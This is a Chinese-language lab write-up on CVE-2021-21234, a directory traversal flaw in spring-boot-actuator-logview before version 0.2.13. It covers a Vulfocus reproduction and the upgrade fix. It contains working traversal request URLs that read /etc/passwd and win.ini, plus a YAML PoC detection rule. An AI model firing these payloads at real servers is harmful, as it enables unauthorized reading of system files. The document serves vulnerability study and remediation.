Spring Boot目录遍历( CVE-2021-21234)- lsummer-漏洞文库小世界-安全文库-NGC660 安全实验室

Spring Boot目录遍历( CVE-2021-21234)- lsummer

一、漏洞分析

1.1 漏洞描述

spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此filename=../somefile 将不起作用),但没有充分检查基本文件夹参数,因此filename=somefile&base=../ 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

1.2环境搭建

在Vulfocus 漏洞集成平台直接启用该镜像。
启动该环境

1652260459022-a3598426-9956-4dbd-9903-ed49f32a9319

访问地址http://123.58.236.76:19360/,即可打开页面。

1652260466305-dd7c3d10-2ecd-43ab-8cbb-2e6358a27d23

1.3 漏洞复现

打开页面

1652260469505-cef8996a-3a0b-4ec7-9732-c970092e1bf4

构造poc,view函数对filename参数进行合法性校验,但是没有对base参数进行合法性校验
”{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../” # Windows

”{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../” # windows

”{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../” # linux

”{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../” # linux
这里采用linux的第一种,得到回显

1652260523432-475e097e-fb7e-4028-bbc2-36b1aad2364e

POC编写:
params: []
name: Spring Boot目录遍历
set: {}
rules:

  • method: GET
    path: /manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
    headers: {}
    body: “”
    search: “”
    followredirects: false
    expression: response.status == 200&&response.body.bcontains(b”root”)

    detail:
    author: “”
    links: []
    description: “”
    version: “”

二、影响范围

Spring-Boot Actuator-logview <= 0.2.12

三、解决方案

升级到0.2.13版本

在0.2.13版本对base进行了检验。
private void securityCheck(Path base, String filename) {
try {
String canonicalLoggingPath = (filename != null ? new File(base.toFile().toString(), filename) : new File(base.toFile().toString())).getCanonicalPath();
String baseCanonicalPath= (new File(this.loggingPath)).getCanonicalPath();
String errorMessage = “File ” + base.toString() + “/” + filename + “ may not be located outside base path ” + this.loggingPath;
Assert.isTrue(canonicalLoggingPath.startsWith(baseCanonicalPath), errorMessage);
} catch (IOException var6) {
throw new IllegalStateException(var6);
}

四、参考链接

https://blog.csdn.net/qq_48985780/article/details/122250864?utm_term=springboot 路径遍历漏洞&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2allsobaiduweb~default-0-122250864-null-null&spm=3001.4430

https://blog.csdn.net/ML_Team/article/details/121032049

请登录后发表评论

    请登录后查看回复内容